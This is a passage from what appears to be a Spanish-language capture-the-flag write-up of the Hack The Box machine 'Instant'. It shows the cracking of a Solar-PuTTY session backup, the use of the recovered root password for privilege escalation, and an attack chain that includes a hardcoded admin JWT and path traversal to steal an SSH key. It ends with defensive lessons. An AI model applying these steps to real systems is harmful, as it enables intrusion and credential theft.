Testing password 'iloveyou': Incorrect
Testing password 'princess': Incorrect
Testing password '1234567': IncorrectEl 2>/dev/null silencia los errores de descifrado fallido, que si no inundan la pantalla. Y la contraseña de cifrado cae enseguida, dentro de las primeras palabras del diccionario: estrella.

Testing password 'princesa': Incorrect
Testing password 'alexandra': Incorrect
Testing password 'alexis': Incorrect
Testing password 'jesus': Incorrect
Decryption successful using password: estrella
[+] DONE Decrypted file is saved in: output.txtEl output.txt resultante es el JSON de sesiones en claro, con la estructura interna de Solar-PuTTY.
cat output.txt
{
"Sessions": [ {
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"SessionName": "Instant",
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"LastTimeOpen": "0001-01-01T00:00:00",
"Color": "#FF176998"
} ],
"Credentials": [ {
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"PrivateKeyContent": null
} ],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}Todo encaja: la sesión se llama Instant, apunta a 10.10.11.37:22 (esta misma máquina) y su CredentialsID enlaza con unas credenciales llamadas instant-root cuyo usuario es root. El LogsFolderDestination con una ruta C:\ProgramData\... confirma de paso que este backup viene de una estación Windows del administrador y acabó, copiado sin pensar, dentro de la máquina Linux que administra.
Con esa contraseña, un simple su root (reutilización de credenciales) nos da la shell de root.
su root
cd /root
cat root.txt
shirohige@instant:~$ su root
Password:
root@instant:/home/shirohige# ls
logs projects user.txt
root@instant:/home/shirohige# cd /root
root@instant:~# ls
root.txt
root@instant:~# cat root.txt
30c8537cb4f215b8a063337184f5b7a9Las dos flags entregadas cierran la máquina.

Target IP Address: 10.10.11.37
User flag owned
Instant has been Pwned!
MACHINE RANK #2374 · PWN DATE 02 Nov 2024 · POINTS EARNED 45Cadena de ataque
instant.htb (web)
│ descarga del .apk en /downloads
▼
instant.apk ──apktool d──► smali + network_security_config.xml
│ │
│ subdominios: │ JWT de Admin grabado en duro
│ mywalletv1 / swagger-ui ▼
└──────────────► API /api/v1 (swagger-ui) ──Authorization: <JWT admin>──► endpoints de admin
│
▼
/admin/read/log?log_file_name=..%2F... (path traversal)
│
┌──────────────────────────┼──────────────────────────┐
▼ ▼
..%2Fuser.txt ..%2F.ssh%2Fid_rsa
(flag de usuario) (clave SSH privada)
│
ssh -i id_rsa shirohige
▼
shell como shirohige
│
/opt/backups/Solar-PuTTY/sessions-backup.dat
│
SolarPuttyCracker (rockyou → "estrella")
▼
output.txt → root : 12**24nzC!r0c%q12
│
su root
▼
shell como rootLecciones aprendidas
- El binario del cliente no es secreto. Todo lo que viaja dentro de una app móvil (endpoints, subdominios, claves, tokens) es legible para quien la descargue. Aquí un
.apkfiltró dos vhosts que ningún diccionario habría adivinado y un JWT de administrador grabado en duro; ver análisis de APK. - Un JWT robado es acceso directo. El payload de un JWT solo está codificado, no cifrado; lo que protege es la firma. Un token de admin filtrado, y encima con caducidad en el año 3023, equivale a saltarse la autenticación por completo.
- Concatenar rutas con entrada del usuario es path traversal. El endpoint de logs pegaba el nombre de fichero a un
LOG_PATHfijo sin canonicalizar; con..%2Fse leen claves SSH y flags. Canonicaliza y comprueba que el resultado sigue dentro del directorio permitido (ver LFI y path traversal). - Los errores del servidor son información. El
500de la ruta absoluta y el401de Swagger no fueron obstáculos: uno reveló que el servidor concatenaba prefijo, el otro delató Werkzeug y Flask detrás de la API. - Los gestores de sesiones guardan oro mal protegido. El backup de Solar-PuTTY cifraba la contraseña de
rootcon una clave crackeable offline sin límite de intentos, y llegó ahí copiado desde una estación Windows. No dejes esos.daten el host y prefiere autenticación por clave a contraseñas almacenadas; ver también búsqueda de credenciales.